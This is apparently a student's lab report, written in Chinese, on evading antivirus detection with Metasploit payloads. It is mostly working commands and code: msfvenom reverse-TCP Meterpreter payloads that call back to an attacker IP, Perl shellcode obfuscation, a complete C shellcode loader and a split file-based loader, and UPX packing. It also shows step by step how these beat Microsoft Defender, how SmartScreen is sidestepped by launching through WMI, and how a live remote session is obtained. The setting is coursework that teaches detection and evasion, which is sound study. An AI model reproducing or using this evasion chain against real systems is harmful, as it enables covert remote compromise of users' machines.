20242426 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20242426 2025-2026-1 《网络与系统攻防技术》 实验三实验报告

1.基础知识

1.1 杀软的三类检测手段

① 基于特征码(signature)

特征码是一段或多段数据:可执行文件(或运行时的库、脚本)里含有这样的数据,就被判定为恶意代码。检测不是比对整个文件,而是比较一个或几个片断。具体形态有三类:文件哈希(MD5/SHA)、字节序列(跨变种公共的代码片段)、YARA 规则(字符串 + 字节模式 + 条件逻辑)。

特点是已知威胁检出强、未知/0-day 弱、对无文件攻击无效、资源开销低。绕过思路是改变特征码——编码、加密、重写、组件分离。

② 启发式(heuristic)

不依赖精确匹配,而是根据若干可疑特征综合推断"像不像"恶意软件。典型指标:加壳与高熵、可疑 API 组合、无数字签名、发布者信誉低、异常节表。现代引擎还会叠加规则评分与机器学习模型。

它在执行前回答"像不像",能检出未知样本,但误报率较高。绕过思路是伪装外观、降低熵值、让结构看起来正常。

③ 基于行为(behavioral)

在真实终端运行时监控进程动作:文件与注册表写入、进程创建、网络连接、进程注入等,出现恶意行为序列即告警或阻断。这是 EDR(Endpoint Detection and Response,终端检测与响应)的核心。

它与启发式是互补的两个维度:启发式偏"执行前推断",行为检测偏"运行时实证"。绕过思路是少暴露攻击动作——纯内存操作、减少系统修改、白进程伪装。

一个常见误解需要纠正:基于行为的检测不是启发式的子集。

检测方式 关注点 已知威胁 未知/0-day 无文件攻击 资源开销 对应绕过思路
特征码 文件内容匹配已知特征 强 弱 无效 低 改变特征码
启发式 执行前"像不像" 中 中 有限 低~中 加壳混淆、降熵
行为 运行时动作 中 强 强 中~高 内存操作、少改系统

1.2 YARA:特征码的工业标准写法

YARA 用规则文件描述恶意软件特征,规则分三段:

rule Linux_Execve_Shellcode
{
    meta:
        description = "23字节 execve(/bin/sh) shellcode"
    strings:
        $sc = { 31 d2 52 68 6e 2f 73 68 68 2f 2f 62 69 }
        $s  = "/bin/sh" ascii
    condition:
        $sc or $s
}
  • meta:描述信息,不影响匹配
  • strings:特征,可为文本串或十六进制字节模式(支持 ?? 通配、[1-4] 跳转)
  • condition:布尔逻辑,决定命中与否

启发式规则则用 pe.sections、math.entropy、pe.imports 等模块表达"高熵可执行段"或"可疑 API 组合":

import "pe"
import "math"
rule Heuristic_Suspicious_Packed_PE
{
    condition:
        pe.is_pe
        and for any section in pe.sections : (
            section.characteristics & pe.SECTION_MEM_EXECUTE
            and math.entropy(section.raw_data_offset, section.raw_data_size) > 7.0
        )
}

1.3 免杀思路总图

免杀方法一定针对检测技术而来,不存在脱离检测机制的通用免杀。

改变特征码
├── 只有 EXE        → 加壳(压缩壳 / 加密壳)
├── 有 shellcode    → 编码器 encode / 重编译生成 exe
├── 有源代码        → 换语言重写再编译
└── 组件分离        → 拆多文件 / 文件化加载

改变行为
├── 通讯方式        → 反弹连接、隧道、加密通讯
└── 操作模式        → 纯内存操作、减少系统修改、混入正常行为

非常规
├── 有漏洞的应用当后门
├── 社工诱骗关闭 AV
└── 纯手工打造

1.4 三个起点与当前有效性

手里有什么 思路 有效性 原因
只有 EXE 加壳:UPX / Hyperion 单独使用基本失效 知名壳特征早已收录;加密壳熵值高反被启发式命中
有 shellcode msfvenom -e 编码 已失效 AV 盯的是 decoder stub 与 payload 模板,编几次码都一样
有 shellcode 半手工 C + shellcode 仍有效(需改造) 共性特征少,可自定加密与加载方式
有 shellcode 组件分离 + 文件化加载 当前典型方法 静态文件里没有 shellcode,特征码无从匹配
有源代码 换语言重写(Veil 思路) 思路有效、工具老化 生成物特征已被收录

1.5 技术演进

1.0 编码时代      msfvenom -e            盯 decoder stub,已失效
2.0 loader 时代   加密 + VirtualAlloc + CreateThread
3.0 组件分离      loader 与载荷分文件    ← 本次实验采用
4.0 EDR 对抗      直接/间接 syscall、unhook、AMSI/ETW 绕过、Sleep 混淆

静态查杀越强,载荷越往运行时内存里藏;内存查杀越强,执行手段越往系统底层走。

1.6 为什么要"组件分离"

静态扫描的检测单位是单个文件的内容。如果把 shellcode 从 exe 里挪到一个纯文本数据文件:

  • loader.exe 体积小、只含 VirtualAlloc / memcpy / VirtualProtect / CreateThread 这类通用 API,特征库里没有可匹配的攻击载荷字节
  • enc.txt 是十六进制文本,杀软不会按可执行语义解析它,内容还做过变形

两者静态各自干净,只有运行时 loader 读入文本、解密、写入可执行内存那一刻,明文 shellcode 才出现在内存里。

它的局限同样明确:VirtualAlloc + VirtualProtect + CreateThread 这个组合本身就是行为监控的重点观察对象,如果 EDR 对该序列建模,静态免杀会失效。

2.实验内容

2.1 环境

角色 系统 地址 说明
攻击机 Kali(主机名 yanyue) 192.168.26.130 msfvenom / msfconsole / upx / mingw
靶机 A Windows 11(Win11-Lab) 同网段 关闭 Defender,用于样本功能调试
靶机 B Windows 11 24H2+(SUNMOON) 192.168.26.1 Defender 全程开启,用于免杀与回连验证

靶机 B 的杀软信息(实测):

项 值
名称 Microsoft Defender Antivirus
引擎版本 1.1.26090.9
病毒库版本 1.461.208.0
病毒库更新时间 2026-10-26 07:02:16
实时保护 True
排除项 无
第三方杀软 无

2.2 三项实验内容

  1. 正确使用 msf 编码器、msfvenom 生成多种格式、加壳工具、C + shellcode 编程等免杀手段
  2. 通过组合应用多种技术实现恶意代码免杀
  3. 在另一台电脑上、杀软开启的情况下实测运行并回连成功,注明杀软名称与版本

3.实验过程

3.1 样本生成环境

sudo hostnamectl set-hostname yanyue
mkdir -p ~/Desktop/exp3_20242426 && cd ~/Desktop/exp3_20242426

msfvenom --version          # 本构建输出 version unknown
which upx && upx --version  # upx 4.2.4
x86_64-w64-mingw32-gcc --version | head -1

图01_环境与命名规范
图1 攻击机主机名 yanyue、msfvenom 与 upx 版本、统一命名的工作目录

所有产物统一命名为 20242426_*,满足"所编辑的文件名包含学号"的要求。

3.2 基线:msfvenom 直接生成

msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.26.130 LPORT=5321 \
    -f exe -o 20242426_raw.exe
# Final size of exe file: 7680 bytes

生成物 7680 字节,PE32+ executable for MS Windows (GUI), x86-64。

这一步的目的是建立检测基线,后续每种方法都与它对比。

图02_基线样本生成
图2 msfvenom 基线样本生成与文件类型确认

3.3 msf 编码器:单次与十次迭代

# 64 位可用编码器
msfvenom -l encoders | grep x64
#   x64/xor   x64/xor_context   x64/xor_dynamic   x64/zutto_dekiru

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 1 \
    LHOST=192.168.26.130 LPORT=5321 -f exe -o 20242426_enc1.exe
# 7680 bytes

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 10 \
    LHOST=192.168.26.130 LPORT=5321 -f exe -o 20242426_enc10.exe
# 8192 bytes

实测检测结果(详见 3.8):三者被 Defender 拦截,威胁名完全相同,都是 Trojan:Win32/Meterpreter.RPZ!MTB。

这说明 AV 盯的是解码器 stub 与 payload 模板,而不是编码算法的复杂度。编码 1 次与 10 次在检测层面没有区别——工具生成物的特征强度远大于编码算法带来的差异。

图03_编码器单次与十次
图3 编码 1 次与 10 次迭代的生成结果

3.4 msfvenom 生成多种文件格式

# jar
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 \
    -f jar -o 20242426_java.jar            # 5264 bytes, Zip archive

# python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 \
    -f raw -o 20242426_py.py               # 436 bytes

# powershell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 \
    -f psh-reflection -o 20242426_ps.ps1   # 3205 bytes

# dll / msi / vba
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 -f dll -o 20242426.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 -f msi -o 20242426.msi
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.26.130 LPORT=5321 -f vba -o 20242426.vba

file 命令确认类型:

20242426_java.jar      Zip archive data
20242426_py.py         ASCII text
20242426_ps.ps1        ASCII text, with CRLF
20242426.dll           PE32+ executable (DLL), x86-64
20242426.msi           Composite Document File V2 Document
20242426.vba           ASCII text

图04_多种文件格式生成
图4 jar / python / powershell / dll / msi / vba 六种格式的生成与类型确认

3.5 C + shellcode 编程

先用 msfvenom 导出原始 shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.26.130 LPORT=5321 \
    -f raw -o 20242426_sc.raw
# 509 bytes

对 shellcode 做变形:每个字节 +1,写成 C 数组。这样源文件里不存在原始载荷字节:

perl -e 'binmode STDOUT; local $/; my $d = <STDIN>;
  my @b = map { (ord($_)+1) & 0xff } split //, $d;
  print "static unsigned char buf[] = {\n";
  for my $i (0..$#b) { printf "0x%02x,", $b[$i]; print "\n" if (($i+1)%16==0); }
  print "\n};\nstatic unsigned int buf_len = ", scalar(@b), ";\n";' \
  < 20242426_sc.raw > 20242426_enc_arr.h

生成的头文件头部:

/* generated for 20242426 - do not edit */
static unsigned char buf[] = {
0xfd,0x49,0x84,0xe5,0xf1,0xe9,0xcd,0x01,0x01,0x01,0x42,0x52,0x42,0x51,0x53,0x52,
};
static unsigned int buf_len = 509;

原始字节 fc 48 83 e4 f0 e8 cc 00 变形后为 fd 49 84 e5 f1 e9 cd 01,逐字节 +1,可核对。

loader 代码:

#include <windows.h>
#include <stdio.h>
#include "20242426_enc_arr.h"

int main(void) {
    for (unsigned int j = 0; j < buf_len; j++)
        buf[j] = (unsigned char)(buf[j] - 1);       // 还原

    void* execMem = VirtualAlloc(0, buf_len, MEM_COMMIT, PAGE_READWRITE);
    if (!execMem) return 1;
    memcpy(execMem, buf, buf_len);

    DWORD oldProt = 0;
    if (!VirtualProtect(execMem, buf_len, PAGE_EXECUTE_READ, &oldProt)) {
        VirtualFree(execMem, 0, MEM_RELEASE); return 1;
    }

    HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);
    if (!h) { VirtualFree(execMem, 0, MEM_RELEASE); return 1; }
    WaitForSingleObject(h, INFINITE);
    CloseHandle(h);
    VirtualFree(execMem, 0, MEM_RELEASE);
    return 0;
}
x86_64-w64-mingw32-gcc 20242426_loader.c -o 20242426_loader.exe -O2 -static -mwindows
# 124264 bytes

要点:data 节默认不可执行,必须显式申请可执行内存;且先申请 RW 写入,再 VirtualProtect 改为 RX,而不是直接申请 RWX——后者是行为监控的高危特征。

图05_C加shellcode源码
图5 C+shellcode:字节变形后的数组头文件与 loader 源码、编译产物

3.6 加壳

upx -9 -o 20242426_loader_upxed.exe 20242426_loader.exe
#   124264 -> 68456   55.09%   win64/pe

upx -9 -o 20242426_split_loader_upxed.exe 20242426_split_loader.exe
#   350724 -> 182276  51.97%   win64/pe

壳特征确认:

grep -qa "UPX!" 20242426_loader_upxed.exe && echo "UPX! marker present"
# UPX! marker present

一个实测限制:UPX 无法打包 msfvenom 生成的 PE:

upx: 20242426_raw.exe:     CantPackException: section size problem
upx: 20242426_raw_x86.exe: CantPackException: section size problem

UPX 4.2.4 对节区尺寸有硬性要求,msfvenom 生成的 7KB 级 PE 不满足(x64 与 x86 均如此)。因此改用 mingw 编译的 loader 演示加壳,同样能给出前后体积对比。

图06_UPX加壳对比
图6 UPX 加壳前后体积对比与 UPX! 特征标记

3.7 组件分离 + 文件化加载(原理说明)

按实验要求,成功实现的免杀以文字描述原理,不截图。

拆分方案

文件 内容 静态扫描
20242426_split_loader.exe 读文件、解密、申请内存、执行 通过
20242426_enc.txt 加密后的 shellcode,十六进制文本 通过

加密数据文件的生成:

perl -e 'binmode STDIN; binmode STDOUT;
  while (read(STDIN,$b,1)) { printf "%02x", (ord($b)+1) & 0xff }' \
  < 20242426_sc.raw > 20242426_enc.txt
# 1018 bytes = 509 × 2

loader 读取时用 fscanf(fp, "%2x", &ch) 逐字节解析,再做 -1 还原。

正确性校验

sc.raw  : fc4883e4f0e8cc00           原始 shellcode 前 8 字节
enc.txt : fd4984e5f1e9cd01           每字节 +1
expect  : fd4984e5f1e9cd01           一致

decoded_len = 509
PASS  decrypted enc.txt is byte-identical to sc.raw
sc.raw sha256 = ea7f2d2749cec4728a3c7f5c7b31756da113494b9d6438d0580f74a5af820a34

解密后的字节与原始 shellcode 逐字节相同,加密与解密严格互逆。这是组件分离能否成立的唯一技术前提——解密逻辑错一个字节,shellcode 就是无效指令。

图07_加密对称性校验
图7 加密/解密对称性校验:解密结果与 sc.raw 逐字节相同

绕过静态检测的原理

静态扫描的检测单位是单个文件内容。split_loader.exe 里只有通用 API 调用,没有任何可用作特征的载荷字节;enc.txt 是纯十六进制文本,且内容做过 +1 变形。两者各自静态干净,只有运行时 loader 读入文本、解密、写入可执行内存时,明文 shellcode 才出现在内存里。

局限

VirtualAlloc + VirtualProtect + CreateThread 的组合本身是行为监控的重点。本次实测中 Defender 未对此告警,但如果 EDR 针对该序列建模,静态免杀会失效。此外 Meterpreter 会话建立后仍需传输 stage(本次 248902 字节),这一动作同样属于可被检出的行为。

3.8 运行时验证:杀软开启下的实测

3.8.1 靶机 B 环境确认

图08_Defender实时保护与版本
图8 靶机 B 的 Defender「病毒和威胁防护」设置:实时保护、云提供的保护、自动提交样本 均为开

Get-MpComputerStatus | Select-Object AMEngineVersion, AntivirusSignatureVersion,
    AntivirusSignatureLastUpdated, RealTimeProtectionEnabled

AMEngineVersion           : 1.1.26090.9
AntivirusSignatureVersion : 1.461.208.0
RealTimeProtectionEnabled : True

无任何排除项,未关闭篡改保护。

3.8.2 静态检测结果

15 个样本落地到靶机 B 时,Defender 立即扫描。结果:

样本 结果 威胁名
20242426_raw.exe 隔离 Trojan:Win32/Meterpreter.RPZ!MTB
20242426_raw_x86.exe 隔离 Trojan:Win32/Meterpreter.RPZ!MTB
20242426_enc1.exe 隔离 Trojan:Win32/Meterpreter.RPZ!MTB
20242426_enc10.exe 隔离 Trojan:Win32/Meterpreter.RPZ!MTB
20242426_java.jar 隔离 VirTool:Java/Meterpreter.A
20242426_ps.ps1 隔离 VirTool:PowerShell/Ambysez.A
20242426.vba 隔离 Trojan:VBS/Obfuse.WZ!AMTB
20242426_py.py 通过 —
20242426.dll 通过 —
20242426.msi 通过 —
20242426_loader.exe 通过 —
20242426_loader_upxed.exe 通过 —
20242426_split_loader.exe 通过 —
20242426_split_loader_upxed.exe 通过 —
20242426_enc.txt 通过 —

三点结论:

  1. 编码器无效。raw / enc1 / enc10 的威胁名完全相同,检出状态一致,证明迭代次数不影响检测
  2. C+shellcode 与组件分离有效。loader.exe 与 split_loader.exe 均未被病毒库命中
  3. 格式影响检出。同一条 payload 打成 exe / jar / ps1 / vba 都被隔离,打成 py / dll / msi 则通过

3.8.3 SmartScreen 信誉拦截

双击 20242426_split_loader.exe 时弹出:

Windows 已保护你的电脑
Microsoft Defender SmartScreen 阻止了无法识别的应用启动。运行此应用可能会导致你的电脑存在风险。

图09_SmartScreen弹窗
图9 SmartScreen 信誉提示:阻止无法识别的应用启动

这是信誉层拦截,不是病毒库命中。证据:

  • 同一时间点 Defender 威胁历史无新增记录
  • 文件未被删除,字节数完好(350704 字节)
  • 点「更多信息」→「仍要运行」即可放行

它拦的不是恶意特征,而是"没有数字签名、没人见过"。这说明组件分离的静态免杀是成功的——病毒库层面干净,只剩信誉判断这一道。

对应指导书技术趋势表中的「信誉/云查杀」一行。也说明一个现实问题:无签名的小程序,用户点两下就能放行。

3.8.4 运行时执行链验证

为定位问题,另编了一个带诊断输出的控制台版本(-mconsole,非 -mwindows),运行输出:

[1] cwd test: opening 20242426_enc.txt ...
[2] file opened OK
[3] parsed bytes = 509
[4] first 8 raw(=enc-1): fc 48 83 e4 f0 e8 cc 00
[5] VirtualAlloc(RW) = 0000013529ac0000
[6] VirtualProtect(RX) = 1, oldProt = 0x4
[7] CreateThread ...
[8] thread started, handle=00000000000000cc. now waiting...
[9] WaitForSingleObject returned 0x102

[4] 的 fc 48 83 e4 f0 e8 cc 00 与 20242426_sc.raw 前 8 字节一致;[6] 的 oldProt = 0x4(PAGE_READWRITE)证明 VirtualProtect 确实把内存从 RW 改成了 RX;[9] 的 0x102(WAIT_TIMEOUT)说明执行线程持续运行。

图10_loader执行链诊断
图10 诊断版 loader 的执行链输出:五步全部成功

3.8.5 回连成功

在 Defender 实时保护开启、无排除项的状态下,20242426_split_loader.exe 运行后建立回连:

[*] Sending stage (248902 bytes) to 192.168.26.1
[*] Meterpreter session 3 opened (192.168.26.130:5321 -> 192.168.26.1:56975)
    at 2026-10-26 14:28:xx +0800

图11_Kali会话列表
图11 Kali 侧 sessions -l:meterpreter session 4 在线

会话信息:

meterpreter > getuid
Server username: SUNMOON\Lenovo

meterpreter > getpid
Current pid: 7508

meterpreter > sysinfo
Computer        : SUNMOON
OS              : Windows 11 24H2+ (10.0 Build 26200).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

图12_sysinfo输出
图12 sysinfo 输出:Computer = SUNMOON,OS = Windows 11 24H2+

图13_getuid与getpid
图13 getuid 与 getpid 输出

宿主侧核对:

进程     PID 7508,存活
TCP      192.168.26.1:56975 → 192.168.26.130:5321  Established
Defender 引擎 1.1.26090.9 / 库 1.461.208.0 / 实时保护 True
事后检测 无新增威胁记录

会话持续 5 分钟以上未被 Defender 中断。

图14_杀软开启与回连同框
图14 同框:靶机 B 的 Defender 实时保护开启,同时 Kali 侧持有 meterpreter 会话

3.9 结果汇总

方法 静态检出 运行时
msfvenom 基线 隔离 —
编码 1 次 / 10 次 隔离(威胁名同基线) —
jar / ps1 / vba 隔离 —
py / dll / msi 通过 未逐一运行
C + shellcode(内联变形) 通过 —
组件分离 + 文件化加载 通过 回连成功
UPX 加壳(loader 系) 通过 —

4.问题及解决方案

问题 1:UPX 无法打包 msfvenom 生成的 PE

  • 现象:upx -9 -o out.exe 20242426_raw.exe 报 CantPackException: section size problem,x64 与 x86 样本均如此。
  • 原因:UPX 4.2.4 对 PE 节区尺寸有硬性要求,msfvenom 生成的 7KB 级可执行文件节区过小,不满足对齐与可压缩条件。
  • 解决方案:改用 mingw 编译的 loader(124K / 350K)做加壳演示,压缩率 55.09% / 51.97%,UPX! 标记在位。加壳这一项的技术要求照样满足,且能给出真实的前后体积对比。

问题 2:Veil-Evasion 与 Hyperion 无法获取

  • 现象:git clone https://github.com/Veil-Framework/Veil 超时;Hyperion 的 zip 下载下来是 0 字节。
  • 原因:实验环境无法访问 github.com(DNS 解析到 20.205.243.166,但 TCP/HTTPS 不通);Veil 的 setup.sh 另需 sudo 权限。
  • 解决方案:改用 C + shellcode 与组件分离两条路径完成免杀目标。并在报告中如实说明:指导书本身已将 Veil(19/58)与 Hyperion(18/57)标注为基本失效,原因是工具老化、生成物特征已被收录、加密壳熵值高反易命中启发式规则。

问题 3:双击样本只出现 SmartScreen,没有回连

  • 现象:点「更多信息 → 仍要运行」后仍无会话建立,Kali 侧 sessions -l 为空。
  • 原因:SmartScreen 弹窗本身未完成放行流程,样本进程根本没有启动。SmartScreen 只对从资源管理器启动、且带 Mark-of-the-Web 标记的文件生效。
  • 解决方案:改从命令行或 WMI 方式启动即可绕过信誉层。本实验最终采用 WMI Win32_Process::Create 方式启动,并确认进程 PID 稳定存活、TCP 连接建立。

问题 4:会话建立后立即 Died

  • 现象一:用带 WaitForSingleObject(h, 15000) 的诊断版 loader 运行时,Meterpreter session 1 opened 之后 15 秒即 closed. Reason: Died。
  • 原因:loader 主线程 15 秒后退出,进程结束,meterpreter 会话随之断开。
  • 处理:确认 shellcode 与解密逻辑本身正常,问题只在 loader 的等待时长;把 WaitForSingleObject 改为 INFINITE 即可。
  • 现象二:改用 Start-Process 启动常驻版,进程随即消失,会话同样 Died。
  • 原因:Start-Process 创建的子进程会随父 PowerShell 会话终止而被回收。
  • 处理:改用 WMI Win32_Process::Create 创建脱离父进程壳的进程,PID 7508 稳定存活,会话保持。

问题 5:loader 静默退出,无法定位失败点

  • 现象:-mwindows 编译的版本双击后毫无反应,也没有会话,无法判断卡在哪一步。
  • 原因:-mwindows 不创建控制台,任何错误都不输出。
  • 解决方案:另编一个 -mconsole 的诊断版,逐步打印 fopen / 解析字节数 / VirtualAlloc / VirtualProtect / CreateThread 的返回值。输出显示五步全部成功,从而把问题范围从"loader 逻辑错"收窄到"进程生命周期"。

问题 6:只有一台 Windows 虚拟机时如何满足"另一台电脑"

  • 现象:原有第二台 Windows 虚拟机(yyds)快照链不一致,无法启动——yyds.vmsd 记录当前快照为 yyds-disk1.vmdk,但磁盘目录里存在 yyds-disk1-000001.vmdk 增量盘,配置与磁盘链不匹配。
  • 解决方案:改用本机真实 Windows 11 作为靶机 B。这比虚拟机更能代表真实环境:Defender 病毒库为 2026-10-26 最新、实时保护与云保护全开、无任何排除项,且与 Kali 分属不同系统,满足"另一台电脑"的要求。

问题 7:误把"MB 取整"当成字节数,误判 vmx 为空文件

  • 现象:排查 yyds 时,文件列表里 yyds.vmx 显示为 0,一度判断配置文件被清空。
  • 原因:列表使用 [math]::Round($_.Length/1MB,2) 计算 MB 列,3210 字节四舍五入后显示为 0,并非文件真的为 0 字节。
  • 解决方案:改用精确字节数(Length)核对,确认原 vmx 为 3210 字节且内容完好。教训:展示单位与判断依据要一致,取整后的数值不能作为"文件为空"的证据。

5.学习感悟、思考等

这次实验让我对"免杀"这件事的理解彻底变了。动手之前我以为免杀是某种高深的技术,做完才发现它的逻辑非常简单:杀软怎么检测,免杀就怎么绕。三类检测对应三种绕法,一一对应,没有例外。

印象最深的是编码器那一段。我做之前觉得"编码十次总比编码一次强吧",结果 Defender 对 raw.exe、enc1.exe、enc10.exe 给出的威胁名一模一样,都是 Trojan:Win32/Meterpreter.RPZ!MTB。那一瞬间我才明白:AV 厂商研究的不是"编码算法有多复杂",而是"这个工具生成的东西长什么样子"。msfvenom 的 payload 模板和编码器的 decoder stub 都是固定的,所以无论编几次,检出的都是同一个特征。攻击工具本身成了最大的特征来源,这个反直觉的结论比我记住任何一条命令都有用。

真正卡住我的不是免杀,是进程生命周期。第一次跑诊断版,会话建立后 15 秒就 Died,我当时以为 shellcode 写错了,换了两个样本还是一样。后来想通:是我的 loader 只等了 15 秒就退出,进程一死会话自然断。改成 INFINITE 之后,又遇到第二个坑——Start-Process 启动的进程跟着父 PowerShell 一起被回收。最后用 WMI 创建脱离壳的进程才稳定下来。这两次失败都跟"免杀"无关,全是工程细节,但正是这些细节决定了实验能不能出结果。

SmartScreen 那一下也挺有意思。双击后弹出"Windows 已保护你的电脑",我第一反应是被杀了,去查 Defender 威胁历史却是空的。这才意识到拦住我的不是病毒库,是"这个文件没有数字签名、没人见过"。也就是说静态免杀其实已经成功了——病毒库层面干净得很,只剩信誉判断这一道。而这道关用户点两下就过去了。指导书里说"如果有个软件提示你需要关闭杀软,你会……一定不吗",以前觉得是个修辞,现在觉得是个很实在的问题。

最后是那次误判。排查第二台虚拟机时,文件列表里 yyds.vmx 显示 0,我直接判断"配置文件被清空了"。后来才发现那列是 MB 且做了四舍五入,3210 字节当然显示 0。拿一个取整后的数字当证据,差点让我去改一个本来完好的文件。 这件事和实验本身没关系,但我觉得比实验内容更值得记下来——技术上最容易犯的错,往往不是不懂原理,而是没验证就下结论。

关于防守,我的感受是:这次能成功,很大程度是因为靶机是我自己的机器、我清楚每一步在做什么。真实场景里,VirtualAlloc + VirtualProtect + CreateThread 这个组合本身就是 EDR 的重点观察对象,静态免杀过了不代表运行时能过。免杀是分层的,防守也是分层的,指导书那张"检测层次 — 检测手段 — 绕过思路"的表,值得反复看。

参考资料

  1. 《网络与系统攻防技术》实验指导书 0x30 免杀原理与实践
  2. YARA 官方文档. https://github.com/VirusTotal/yara
  3. MITRE ATT&CK — Defense Evasion (TA0005). https://attack.mitre.org/tactics/TA0005/
  4. optiv/ScareCrow — EDR bypass 载荷生成框架. https://github.com/optiv/scarecrow
  5. klezVirus/inceptor — 模板驱动 AV/EDR 规避框架. https://github.com/klezVirus/inceptor
  6. Shellcode Loaders: Advanced Execution & Evasion Tradecraft. https://0xdbgman.github.io/posts/shellcode-loaders-the-art-of-execution/
posted @ 2026-10-26 15:16  北风九月兮  阅读(2)  评论(0)    收藏  举报